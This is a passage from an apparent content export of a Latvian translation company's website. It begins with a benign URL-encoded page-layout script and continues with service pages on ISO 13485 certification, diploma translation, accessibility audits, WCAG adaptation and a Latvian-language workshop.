20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fzelatins-pret-zelantins%2F%22%3E%C5%BDelat%C4%ABns%20vai%20%C5%BEelant%C4%ABns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fzirafju-pret-zirafu%2F%22%3E%C5%BDirafju%20vai%20%C5%BEirafu%20m%C4%81ja%3C%2Fa%3E%3C%2Fli%3E%0A%3C%2Ful%3E%0A%0A%3Cscript%3E%0A%20%20document.addEventListener%28%27DOMContentLoaded%27%2C%20%28%29%20%3D%3E%20%7B%0A%20%20%20%20const%20allItems%20%3D%20Array.from%28document.querySelectorAll%28%27%23allCards%20%3E%20li.card%27%29%29%3B%0A%20%20%20%20const%20total%20%20%20%20%3D%20allItems.length%3B%0A%20%20%20%20const%20maxPer%20%20%20%3D%20100%3B%0A%20%20%20%20const%20cols%20%20%20%20%20%3D%20Math.ceil%28total%20%2F%20maxPer%29%3B%0A%20%20%20%20const%20perCol%20%20%20%3D%20Math.ceil%28total%20%2F%20cols%29%3B%0A%20%20%20%20const%20container%20%3D%20document.querySelector%28%27.columns%27%29%3B%0A%0A%20%20%20%20%2F%2F%20Atrod%20pirmo%20burtu%20grup%C4%81%20%28pirmajam%20vai%20p%C4%93d%C4%93jam%29%0A%20%20%20%20const%20getFirstLetterInGroup%20%3D%20group%20%3D%3E%20%7B%0A%20%20%20%20%20%20for%20%28const%20item%20of%20group%29%20%7B%0A%20%20%20%20%20%20%20%20const%20match%20%3D%20item.innerText.match%28%2F%5BA-Za-z%C4%80%C4%81%C4%8C%C4%8D%C4%92%C4%93%C4%A2%C4%A3%C4%AA%C4%AB%C4%B6%C4%B7%C4%BB%C4%BC%C5%85%C5%86%C5%A0%C5%A1%C5%AA%C5%AB%C5%BD%C5%BE%5D%2F%29%3B%0A%20%20%20%20%20%20%20%20if%20%28match%29%20return%20match%5B0%5D.toUpperCase%28%29%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20return%20%27%23%27%3B%0A%20%20%20%20%7D%3B%0A%0A%20%20%20%20for%20%28let%20i%20%3D%200%3B%20i%20%3C%20cols%3B%20i%2B%2B%29%20%7B%0A%20%20%20%20%20%20const%20start%20%3D%20i%20%2A%20perCol%3B%0A%20%20%20%20%20%20const%20end%20%20%20%3D%20Math.min%28start%20%2B%20perCol%2C%20total%29%3B%0A%20%20%20%20%20%20const%20group%20%3D%20allItems.slice%28start%2C%20end%29%3B%0A%0A%20%20%20%20%20%20const%20colDiv%20%3D%20document.createElement%28%27div%27%29%3B%0A%20%20%20%20%20%20colDiv.className%20%3D%20%27column%27%3B%0A%0A%20%20%20%20%20%20const%20header%20%3D%20document.createElement%28%27div%27%29%3B%0A%20%20%20%20%20%20header.className%20%3D%20%27header%27%3B%0A%0A%20%20%20%20%20%20if%20%28i%20%3D%3D%3D%200%29%20%7B%0A%20%20%20%20%20%20%20%20%2F%2F%20Pirmajai%20kolonnai%20vienm%C4%93r%20s%C4%81kas%20ar%20%22A%22%0A%20%20%20%20%20%20%20%20const%20lastLetter%20%3D%20getFirstLetterInGroup%28%5B...group%5D.reverse%28%29%29%3B%0A%20%20%20%20%20%20%20%20header.textContent%20%3D%20%60A%20%E2%80%93%20%24%7BlastLetter%7D%60%3B%0A%20%20%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20%20%20const%20firstLetter%20%3D%20getFirstLetterInGroup%28group%29%3B%0A%20%20%20%20%20%20%20%20const%20lastLetter%20%20%3D%20getFirstLetterInGroup%28%5B...group%5D.reverse%28%29%29%3B%0A%20%20%20%20%20%20%20%20header.textContent%20%3D%20%60%24%7BfirstLetter%7D%20%E2%80%93%20%24%7BlastLetter%7D%60%3B%0A%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20colDiv.appendChild%28header%29%3B%0A%0A%20%20%20%20%20%20const%20ul%20%3D%20document.createElement%28%27ul%27%29%3B%0A%20%20%20%20%20%20group.forEach%28li%20%3D%3E%20ul.appendChild%28li%29%29%3B%0A%20%20%20%20%20%20colDiv.appendChild%28ul%29%3B%0A%0A%20%20%20%20%20%20container.appendChild%28colDiv%29%3B%0A%20%20%20%20%7D%0A%20%20%7D%29%3B%0A%3C%2Fscript%3E%0A --- > Skrivanek vērtība ir atbildība pret klientu. Esam saņēmuši ISO 13485:2016 sertifikātu par kvalitātes vadību medicīnisko ierīču nozarē. - Published: 2025-05-09 - Modified: 2025-05-09 - URL: https://skrivanek.lv/iso-13485/ - Translation Priorities: Optional ISO 13485 – KVALITĀTES VADĪBAS SISTĒMAS STANDARTS MEDICĪNAS NOZARĒ --- > Skrivanek values responsibility towards the client. We have obtained the ISO 13485:2016 certification for quality management in the medical device industry. - Published: 2025-05-09 - Modified: 2025-05-09 - URL: https://skrivanek.lv/iso-13485/ - Translation Priorities: Optional ISO 13485 – GLOBAL STANDARD FOR MEDICAL DEVICE QUALITY MANAGEMENT SYSTEMS --- > Skrivaneki jaoks on väärtuseks vastutus kliendi ees. Oleme saanud ISO 13485:2016 sertifikaadi meditsiiniseadmete valdkonna kvaliteedijuhtimise eest. - Published: 2025-05-09 - Modified: 2025-05-09 - URL: https://skrivanek.lv/iso-13485/ - Translation Priorities: Optional ISO 13485 – KVALITEEDIJUHTIMISE SÜSTEEMI STANDARD MEDITSIIINIVALDKONNAS --- > Skrivanekin arvo on vastuu asiakasta kohtaan. Olemme saaneet ISO 13485:2016 -sertifikaatin laadunhallinnasta lääkinnällisten laitteiden alalla. - Published: 2025-05-09 - Modified: 2025-05-09 - URL: https://skrivanek.lv/iso-13485/ - Translation Priorities: Optional ISO 13485 – LAATUJÄRJESTELMÄN STANDARDI LÄÄKINTÄALALLA --- > Für Skrivanek ist Verantwortung gegenüber dem Kunden ein zentraler Wert. Wir haben die ISO 13485:2016-Zertifizierung für Qualitätsmanagement in der Medizingerätebranche erhalten. - Published: 2025-05-09 - Modified: 2025-05-09 - URL: https://skrivanek.lv/iso-13485/ - Translation Priorities: Optional ISO 13485 – QUALITÄTSMANAGEMENTSYSTEM-STANDARD IN DER MEDIZINBRANCHE --- > Per Skrivanek il valore fondamentale è la responsabilità verso il cliente. Abbiamo ottenuto la certificazione ISO 13485:2016 per la gestione della qualità nel settore dei dispositivi medici. - Published: 2025-05-09 - Modified: 2025-05-09 - URL: https://skrivanek.lv/iso-13485/ - Translation Priorities: Optional ISO 13485 – STANDARD DEL SISTEMA DI GESTIONE DELLA QUALITÀ NEL SETTORE MEDICO --- > Skrivanek vertybė – atsakomybė klientui. Esame gavę ISO 13485:2016 sertifikatą už kokybės vadybą medicinos prietaisų srityje. - Published: 2025-05-09 - Modified: 2025-05-09 - URL: https://skrivanek.lv/iso-13485/ - Translation Priorities: Optional ISO 13485 – KOKYBĖS VADYBOS SISTEMOS STANDARTAS MEDICINOS SEKTORIUI --- > Для Skrivanek ценностью является ответственность перед клиентом. Мы получили сертификат ISO 13485:2016 за систему менеджмента качества в сфере медицинских изделий. - Published: 2025-05-09 - Modified: 2025-05-09 - URL: https://skrivanek.lv/iso-13485/ - Translation Priorities: Optional ISO 13485 – СТАНДАРТ СИСТЕМЫ МЕНЕДЖМЕНТА КАЧЕСТВА В ОБЛАСТИ МЕДИЦИНЫ --- > Profesionāli un notariāli apstiprināti diplomu un izglītības dokumentu tulkojumi vairāk nekā 110 valodās. Ātra izpilde un garantēta kvalitāte - Published: 2025-03-27 - Modified: 2025-03-27 - URL: https://skrivanek.lv/diplomu-tulkosana/ - Translation Priorities: Optional NEPIECIEŠAMI IZGLĪTĪBAS DOKUMENTU TULKOŠANAS PAKALPOJUMI? KĀPĒC IZVĒLĒTIES MŪS DIPLOMU TULKOŠANAI! Pieredze un uzticamība – Skrivanek Baltic ir valodu pakalpojumu sniedzējs ar vairāk nekā 30 gadu pieredzi. Mēs nodrošinām profesionālus valodu pakalpojumus gan uzņēmumiem, gan individuāliem klientiem. Plaša formāta atbalsts – pdf, jpg, idml, json vai html – tam nav nozīmes. Ar mūsu DTP – tekstu grafiskās apstrādes speciālistu palīdzību, nodrošinām teksta apstrādi dažādu datņu paplašinājumos. Tādēļ jums nav jāuztraucas par dokumentu apstrādi. Plašs valodu klāsts – pieejamas vairāk nekā 110 valodas – visus tulkojumus nodrošina viens uzņēmums. Nav nepieciešams meklēt citu tulkošanas biroju, kas rūpēsies par jūsu projektu. Ātrs tiešsaistē sniegts cenu piedāvājums – vairs nav jāgaida vairākas stundas, lai saņemtu piedāvājumu. Varam sagatavot piedāvājumu 15 minūšu laikā. Jebkurā gadījumā varat pieteikties tiešsaistes konsultācijai. Tajā mēs sniegsim izvērstāku piedāvājumu un atbildēsim uz visiem iespējamajiem jautājumiem. Izglītības dokumentu tulkošana Mūsdienu mobilajā pasaulē izglītības un karjeras iespējas tiek meklētas visā pasaulē, tāpēc pieaug nepieciešamība pēc kvalitatīviem izglītības dokumentu tulkojumiem. Ja plānojat studēt vai strādāt ārzemēs, bieži tiek pieprasīts diploma, atestāta vai citu izglītības dokumentu tulkojums attiecīgās valsts valodā. Tāpat arī Latvijā studējošie ārvalstu studenti pēc studiju beigšanas bieži vēlas saņemt tulkojumus savas mītnes zemes valodā, lai apliecinātu iegūto izglītību savā valstī vai turpinātu studijas citur. Skrivanek ir viens no vadošajiem tulkošanas birojiem Baltijā ar ISO sertificētu kvalitātes vadības sistēmu, kas nodrošina precīzus, juridiski derīgus tulkojumus vairāk nekā 110 valodās. Tulkojumus veic profesionāli un sertificēti tulkotāji, un, pēc vajadzības, tie tiek apliecināti notariāli vai ar Skrivanek tulkošanas biroja zīmogu. NEPIECIEŠAMS DIPLOMA VAI CITA IZGLĪTĪBU APLIECINOŠA DOKUMENTA TULKOJUMS? SAZINIETIES AR MUMS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par rakstiskajiem tulkojumiem jau tūlīt! Diplomu tulkošana | Izglītības dokumentu tulkojumi Plānojat studēt ārzemēs, pieteikties darbam starptautiskā uzņēmumā? Lai jūsu diplomi un citi izglītības dokumenti tiktu atzīti ārpus Latvijas, nepieciešams precīzs, profesionāli sagatavots un bieži vien arī notariāli apliecināts tulkojums. Skrivanek – vadošais tulkošanas birojs Latvijā – nodrošina kvalitatīvus un oficiāli atzītus diplomu tulkojumus vairāk nekā 110 valodās. Mūsu pieredzējušie tulkotāji un projektu vadītāji rūpējas par to, lai jūsu dokumenti atbilstu visām ārvalstu institūciju prasībām. Piedāvājam arī notariālu apliecinājumu, apliecinājumu ar tulkošanas biroja zīmogu, kā arī Apostille un legalizācijas pakalpojumus. Kāda veida dokumentus tulkojam? Vidējās izglītības atestātus, sekmju izrakstus, liecības u. c. ; augstskolu diplomus (bakalaura, maģistra, doktora) diplomu pielikumus; profesionālās kvalifikācijas sertifikātus un apliecības (valodas, profesionālās pilnveides kursu apliecinājumus u. c. ); mācībspēka rekomendācijas vēstules; CV un motivācijas vēstules. Tulkojot izglītības dokumentus, tulkotajam dokumentam ir jāsakrīt pilnībā ar oriģinālu. Tāpēc šādu dokumentu tulkošanu iesakām uzticēt profesionālam tulkošanas birojam. Svarīgs ir ne tikai tulkojums, bet arī tulkotā dokumenta noformējums – tam jāatbilst likumā noteiktām prasībām, tā pat izglītības dokumentu tulkojumos ir noteikta kārtībā, kā precīzi jātulko mācību priekšmeti, atzīmes un līmeņi, lai plānotajā mērķvalstī, lasītājam būtu viss pilnībā saprotams. Kā notiek izglītības dokumentu tulkošana? Dokumenta iesniegšanaNosūtiet mums dokumentu skenējumus vai atnesiet oriģinālus uz vietas birojā (Lāčplēša iela 87C). Cenu piedāvājums un izpildes laiksMēs izvērtējam dokumentu apjomu, valodu kombināciju un izstrādājam individuālu un bezmaksas cenu piedāvājumu. Tulkojums un kvalitātes kontrolePieredzējis tulkotājs sagatavo tekstu, un tas tiek pārbaudīts atbilstoši ISO 17100 standartiem. ApliecināšanaJa nepieciešams, nodrošinām notariālu apliecinājumu vai apliecinājumu ar Skrivanek tulkošanas biroja zīmogu, kā arī, ja nepieciešams, nodrošinām Apostille. Gatavā tulkojuma saņemšanaTulkojumu varat saņemt mūsu birojā, ar kurjeru vai digitāli (atkarībā no apliecinājuma veida un iespējām). Skrivanek pieejami šādi izglītības dokumentu tulkojumi: diplomu un atestātu tulkojumi (vidusskola, tehnikums, koledža, bakalaurs, maģistrs, doktora grāds), profesionālās izglītības dokumentu tulkojumi, arodizglītības dokumentu tulkojumi, vidējās izglītības dokumentu tulkojumi, augstākās izglītības dokumentu tulkojumi, sekmju izrakstu tulkojumi, liecību tulkojumi, akadēmisko izziņu tulkojumi, izrakstu no izglītības iestāžu arhīviem tulkojumi, interešu izglītības sertifikātu tulkojumi, kā arī citu izglītības dokumentu tulkojumi atbilstoši klienta vajadzībām. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu SPECIALIZĒTIE TULKOJUMI Nozaru terminoloģijas ievērošana ir ļoti būtiska, tieši tāpēc mūsu tulkotājiem ir ne tikai filologa izglītība un iespēja izmantot mūsdienu tehnoloģiskos sasniegumus, bet arī zināšanas medicīnā, jurisprudencē, inženiertehniskajās zinātnēs un citās specifiskās jomās, kas palīdz sasniegt vēlamo rezultātu. Vairāk VISPĀRĪGI TULKOJUMI Veicot tulkojumu, ir būtiski ne tikai precīzi iztulkot vārdus, bet arī izteikto ideju pārnest citā valodā, nezaudējot tās sākotnējo domu. Nodrošinām ātru dokumentu tulkošanas procesu gadījumos, kad nav nepieciešamas specifiskas nozares zināšanas. Vairāk NOTARIĀLS APLIECINĀJUMS Nodrošinām notariāli apliecinātus tulkojumus pie dokumentu oriģināla un kopijām, ievērojot Latvijas Republikas normatīvos aktus. Sagatavojam tulkojumus, kuru pareizību, precizitāti un atbilstību oriģinālam apstiprina zvērināts notārs, un zvērināts tulkotājs uzņemas pilnu atbildību par tulkojuma kvalitāti. Vairāk LOKALIZĀCIJA Jums vairs nav jāraizējas, nodrošināsim ne tikai tulkojumu, bet arī pārliecināsimies, vai lokalizētais produkts vai programmatūra darbojas pareizi. Piedāvājam audio, video failu un programmatūras lokalizēšanu, kā arī dažāda digitālā mārketinga satura lokalizēšanu un tulkošanu, tostarp, mājaslapu, e-veikalu un reklāmu. Vairāk DOKUMENTU TULKOJUMI VAIRĀK NEKĀ 110 VALODĀS Angļu valoda Arābu valoda Armēņu valoda Čehu valoda Dāņu valoda Franču valoda Grieķu valoda Gruzīnu valoda Hindi valoda Lietuviešu valoda Norvēģu valoda Igauņu valoda Itāļu valoda Krievu valoda Ķīniešu valoda Poļu valoda Portugāļu valoda Rumāņu valoda Somu valoda Spāņu valoda Ungāru valoda Vācu valoda Zviedru valoda Citas valodas --- > "Teksta saprotamības audits, nodrošinot atbilstību Piekļūstamības direktīvai – novērtējam un uzlabojam tekstu skaidrību un pieejamību. - Published: 2025-02-03 - Modified: 2025-06-17 - URL: https://skrivanek.lv/teksta-saprotamibas-audits/ - Translation Priorities: Optional Lai uzlabotu produktu un pakalpojumu pieejamību cilvēkiem ar invaliditāti, 2019. gada 17. aprīlī tika pieņemta Eiropas Savienības Piekļūstamības direktīva. Dalībvalstis jau ir iekļāvušas šo direktīvu savos likumos. 2025. gada 28. jūnijā, uzņēmumiem būs jāatbilst šīs direktīvas prasībām. Lai gan sākotnēji šīs prasības var šķist sarežģītas, pareizais partneris var palīdzēt nodrošināt atbilstību bez liekiem sarežģījumiem. Skrivanek piedāvā ekspertu konsultācijas un risinājumus, kas palīdz uzņēmumiem ne tikai izpildīt prasības, bet arī iegūt konkurences priekšrocības, uzlabojot daudzvalodu digitālo pieejamību. Uzņēmumi, kas savlaicīgi ieviesīs piekļūstamības prasības, ne tikai izvairīsies no juridiskiem riskiem, bet arī paplašinās savu klientu loku un uzlabos digitālo klātbūtni. Kas ir teksta saprotamības audits? Teksta saprotamības audits ir process, kurā tiek novērtēta jūsu tīmekļvietnes vai digitālo materiālu piekļūstamība un saprotamība dažādām sabiedrības grupām, tostarp cilvēkiem ar invaliditāti. Šis audits palīdz nodrošināt, ka jūsu saturs atbilst Eiropas Savienības Piekļūstamības direktīvas prasībām, kas stājas spēkā 2025. gada 28. jūnijā. Kāpēc tas ir svarīgi? Piekļūstamības direktīva nosaka, ka visiem uzņēmumiem ir jānodrošina, ka viņu digitālie produkti un pakalpojumi ir pieejami visiem lietotājiem, neatkarīgi no viņu fiziskajām spējām. Tas ietver tīmekļvietnes, e-komercijas platformas, mobilās lietotnes un citas tehnoloģijas. Atbilstība šīm prasībām ne tikai palīdz izvairīties no juridiskiem riskiem, bet arī paplašina jūsu klientu loku un uzlabo digitālo klātbūtni. Nepieciešams teksta saprotamības audits? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *ZiņaKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par iespēju uzlabot jūsu mājaslapu vai tekstus atbilstoši Piekļūstamības direktīvai jau tūlīt! Mūsu pakalpojumi Atbilstoši Tīmekļvietņu piekļūstamības vadlīnijas jeb WCAG (“Web Content Accesibility Guidelines”) mēs piedāvājam pilnvērtīgu teksta saprotamības auditu, kas ietver: Alternatīvā teksta pārbaudi attēliem: Nodrošinām, ka visi attēli ir aprakstīti ar alternatīvu tekstu (alt text), lai lietotāji ar redzes traucējumiem varētu tos uztvert, izmantojot ekrānlasītājus. Virsrakstu un nosaukumu struktūras pārbaudi: Pārbaudām, vai jūsu tīmekļvietne ir loģiski strukturēta ar pareiziem H1, H2 un H3 līmeņa virsrakstiem, kas uzlabo navigāciju. Navigācijas ar tastatūru pārbaudi: Pārliecināmies, ka vietni var pārskatīt tikai ar tastatūras palīdzību, kas ir būtiski lietotājiem, kuri nevar izmantot peli. Kontrasta un salasāmības pārbaudi: Pārbaudām, vai tekstam un fona krāsai ir pietiekams kontrasts, lai saturu varētu salasīt arī cilvēki ar redzes traucējumiem. Formu un ievades lauku piekļūstamības pārbaudi: Nodrošinām, ka visas formas ir skaidri marķētas un ar atbilstošām aizpildes instrukcijām. Video un audio satura piekļūstamības pārbaudi: Pārbaudām, vai audiovizuālie materiāli ir pieejami dažādos formātos, piemēram, ar subtitriem un audio aprakstiem. Kāpēc izvēlēties mūs? Mūsu ekspertu komanda palīdzēs jums ne tikai izpildīt Piekļūstamības direktīvas prasības, bet arī gūt konkurences priekšrocības, uzlabojot daudzvalodu digitālo pieejamību. Mēs piedāvājam personalizētas konsultācijas un risinājumus, kas pielāgoti jūsu uzņēmuma vajadzībām. Sazinieties ar mums Lai uzzinātu vairāk par mūsu teksta saprotamības audita pakalpojumiem un saņemtu personalizētu piedāvājumu, sazinieties ar mums jau šodien. Kopā mēs nodrošināsim, ka jūsu digitālais saturs ir pieejams visiem lietotājiem un atbilst visām nepieciešamajām prasībām. --- > Tīmekļvietnu un mobilo lietotņu pielāgošana atbilstoši WCAG vadlīnijām! Nodrošinām piekļūstamības auditus, daudzvalodu optimizāciju, subtitrus - Published: 2025-02-03 - Modified: 2025-02-03 - URL: https://skrivanek.lv/timeklvietnu-pielagosana-timeklvietnu-pieklustamibas-vadlinijam/ - Translation Priorities: Optional Digitālajā laikmetā piekļūstamība kļūst par būtisku kritēriju, kas nosaka tīmekļvietņu un mobilo lietotņu kvalitāti un lietojamību. Eiropas Savienības Piekļūstamības direktīva nosaka stingras prasības digitālajai videi, nodrošinot, ka informācija un pakalpojumi ir pieejami visiem lietotājiem, neatkarīgi no viņu spējām. Uzņēmumiem, kas savlaicīgi ievieš piekļūstamības prasības, ir iespēja ne tikai izvairīties no juridiskiem riskiem, bet arī paplašināt savu auditoriju un uzlabot lietotāju pieredzi. Mūsu valodu pakalpojumi palīdz nodrošināt, ka jūsu tīmekļa vietne un mobilā lietotne ne tikai atbilst Tīmekļa satura pieejamības vadlīniju (Web Content Accessibility Guidelines (WCAG)) standartiem, bet arī ir pieejama dažādām valodu un kultūras grupām. Valodu pakalpojumu loma digitālajā piekļūstamībā Lai vietne vai mobilā lietotne būtu patiesi pieejama visiem lietotājiem, nepietiek tikai ar tehniskiem pielāgojumiem. Saturs ir jāpārveido tā, lai tas būtu skaidrs, saprotams un viegli uztverams dažādām auditorijām. Mēs piedāvājam: Kāpēc tas ir svarīgi? Atbilstība Tīmekļvietņu piekļūstamības vadlīnijām, kā arī Tīmekļa satura piekļūstamības vadlīnijām, ne tikai palīdz uzņēmumiem izpildīt juridiskās prasības, bet arī uzlabo digitālo pieredzi visiem lietotājiem. Lietotāji ar invaliditāti, vecāka gadagājuma cilvēki, cilvēki ar zemām digitālajām prasmēm un dažādu valodu pratēji visi gūst labumu no piekļūstamības uzlabojumiem. Turklāt, uzņēmumi, kas iegulda piekļūstamībā un daudzvalodu pielāgošanā, iegūst konkurences priekšrocības, uzlabojot klientu apmierinātību un paplašinot savu tirgus daļu. Teksta pielāgošanu vieglajā vai vienkāršajā valodā – palīdzam padarīt saturu viegli uztveramu, īpaši cilvēkiem ar kognitīviem traucējumiem. Daudzvalodu piekļūstamības pārbaudi – nodrošinām, ka jūsu vietne vai lietotne saglabā piekļūstamības prasības arī pēc tulkošanas un lokalizācijas. Balss sintēzes un ekrānlasītāju optimizāciju – pielāgojam tekstus tā, lai tie būtu pareizi interpretējami ekrānlasītājos dažādās valodās. Video un audio satura pielāgošanu – veidojam subtitrus, audio aprakstus un pielāgotus dialogus dažādām valodām. Alternatīvā teksta (alt text) un metadatu optimizāciju – nodrošinām precīzus un lietotājam draudzīgus attēlu aprakstus un SEO optimizētus metadatus vairākās valodās. Nepieciešams pielāgot tīmekļvietni vai mobilo lietotni atbilstoši Tīmekļvietņu piekļūstamības vadlīnijām? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *ZiņaKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par iespēju uzlabot jūsu mājaslapu vai mobīlo lietotni atbilstoši Piekļūstamības direktīvai jau tūlīt! Mūsu risinājumi Mēs piedāvājam pilna cikla pakalpojumus, lai jūsu digitālais saturs būtu gan piekļūstams, gan daudzvalodīgs: Tīmekļa vietņu un mobilo lietotņu valodas pielāgošana atbilstoši WCAG standartiem Subtitru un audio aprakstu veidošana dažādās valodās Ekrānlasītāju un balss sintezatoru draudzīgu tekstu izstrāde Vienkāršās valodas un vieglās valodas tulkojumi Piekļūstamības auditi dažādās valodu versijās Kāpēc izvēlēties mūs? Mūsu speciālistu komanda apvieno zināšanas valodniecībā un digitālajā piekļūstamībā, lai nodrošinātu jūsu digitālo risinājumu atbilstību starptautiskajiem standartiem. Mēs palīdzam uzņēmumiem pielāgot savu saturu un nodrošināt, ka tas ir saprotams un pieejams visiem lietotājiem, neatkarīgi no viņu valodas vai spējām Sazinieties ar mums Lai uzzinātu vairāk par mūsu piekļūstamības un valodu pielāgošanas pakalpojumiem, sazinieties ar mums jau šodien. Kopā mēs veidosim digitālo vidi, kas ir iekļaujoša un pieejama visiem! --- > Izpratīsim latviešu valodas transformāciju mūsdienu diskursā! Darbnīca uzņēmumiem par politkorektās valodas nozīmi un sociālo mediju ietekmi. - Published: 2025-01-30 - Modified: 2025-02-03 - URL: https://skrivanek.lv/darbnica-latviesu-valodas-transformacija-musdienu-diskursa/ - Translation Priorities: Optional Darbnīca “Latviešu valodas transformācija mūsdienu diskursā” Vai esi pievērsis uzmanību, kā mainās mūsu valoda? Sociālie mediji, identitātes jautājumi un politkorekta valoda būtiski ietekmē mūsu ikdienas saziņu. Ja vēlies izprast šīs pārmaiņas un to nozīmi, šī darbnīca ir tieši tev! Kāpēc šī tēma ir svarīga? Mūsdienu pasaule mainās, un līdz ar to arī latviešu valoda. Vai politkorektā valoda ir tikai modes tendence vai reāla nepieciešamība? Kā sociālie mediji maina mūsu saziņas veidu? Kā valoda ietekmē personas identitāti un sabiedrību kopumā? Ilgums: 2,5 stundas Norises vieta: Klātienē Dalībnieku skaits: līdz 15 personām grupā Pasniedzēja: Lingita Lina Henritiusa (ex. Bopulu) – pieredzējusi latviešu valodas skolotāja un pasniedzēja ar starptautisku pieredzi Latvijā, Zviedrijā un ASV. Doktorantūras studente Latvijas Universitātē, specializējas valodas un kultūras studijās. Par iekļaujošas valodas jautājumiem uzstājusies starptautiskās konferencēs, tostarp Jeila Universitātē (ASV). Publikāciju autore, tostarp grāmatā "Stāsti vieglajā valodā 2" (Valters un Rapa, 2025). NEPIECIEŠAMS APMĀCĪT DARBINIEKUS RUNĀT POLITKORKETI VAI VIEGLAJĀ VALODĀ? SAZINIETIES AR MUMS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Uzņēmuma nosaukums *TālrunisE-pasts *ZiņaKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai jau tūlīt! KO DARĪSIM DARBNĪCĀ Mācību laikā izpētīsim latviešu valodas attīstības tendences un tās lomu mūsdienu sabiedrībā: Sociālo mediju ietekme uz valodu – vai tie bagātina vai deformē mūsu ikdienas saziņu? Politkorektā valoda – kāpēc tā dažiem šķiet obligāta, bet citi to uzskata par traucēkli? Valoda un identitāte – vai valoda palīdz saglabāt mūsu saknes vai arī tās maina? Vieglā un vienkāršā valoda – kam tās nepieciešamas un kāpēc? Teorija tiks papildināta ar interaktīviem uzdevumiem, diskusijām un grupu darbiem. KAM ŠĪ DARBNĪCA IR PIEMĒROTA? Uzņēmumu darbiniekiem, kuri vēlas pilnveidot iekšējo un ārējo komunikāciju. Komunikācijas, personālvadības un mārketinga speciālistiem. Ikvienam, kurš vēlas labāk izprast latviešu valodas attīstību un tās ietekmi uz sabiedrību. Mācību mērķis iegūt un nostiprināt zināšanas par valodas pārmaiņām, sociālajiem medijiem, identitāti, kā arī to mijiedarbību. Lai sekmīgi 2,5 stundu laikā varētu pievērsties svarīgākajām no tām, mācību ietvaros tiks koncentrētā veidā aplūkoti temati, kas saistīti ar identitātes un valodas problemātiku mūsdienu sabiedrībā, sociālo mediju ietekmi uz valodu, politiski korektas valodas lomu, kā arī vieglās un vienkāršās valodas atšķirību, kam tā ir nepieciešama. PRAKTISKĀ INFORMĀCIJA Ilgums: 2,5 stundas Norises vieta: Klātienē Dalībnieku skaits: līdz 15 personām grupā Pasniedzēja: Lingita Lina Henritiusa (ex. Bopulu) – pieredzējusi latviešu valodas skolotāja un pasniedzēja ar starptautisku pieredzi Latvijā, Zviedrijā un ASV. Doktorantūras studente Latvijas Universitātē, specializējas valodas un kultūras studijās. Par iekļaujošas valodas jautājumiem uzstājusies starptautiskās konferencēs, tostarp Jeila Universitātē (ASV). Publikāciju autore, tostarp grāmatā "Stāsti vieglajā valodā 2" (Valters un Rapa, 2025). CENA UN NOSACĪJUMI Cena par darbnīcu: 500,00 EUR + PVN par 15 personām Iekļauts: Materiāli, praktiskie uzdevumi, sertifikāts par dalību Ieinteresēja? Vēlies uzzināt vairāk? Raksti mums: skola@skrivanek. lv Zvani: +371 25667752 PASNIEDZĒJAS PIEREDZE 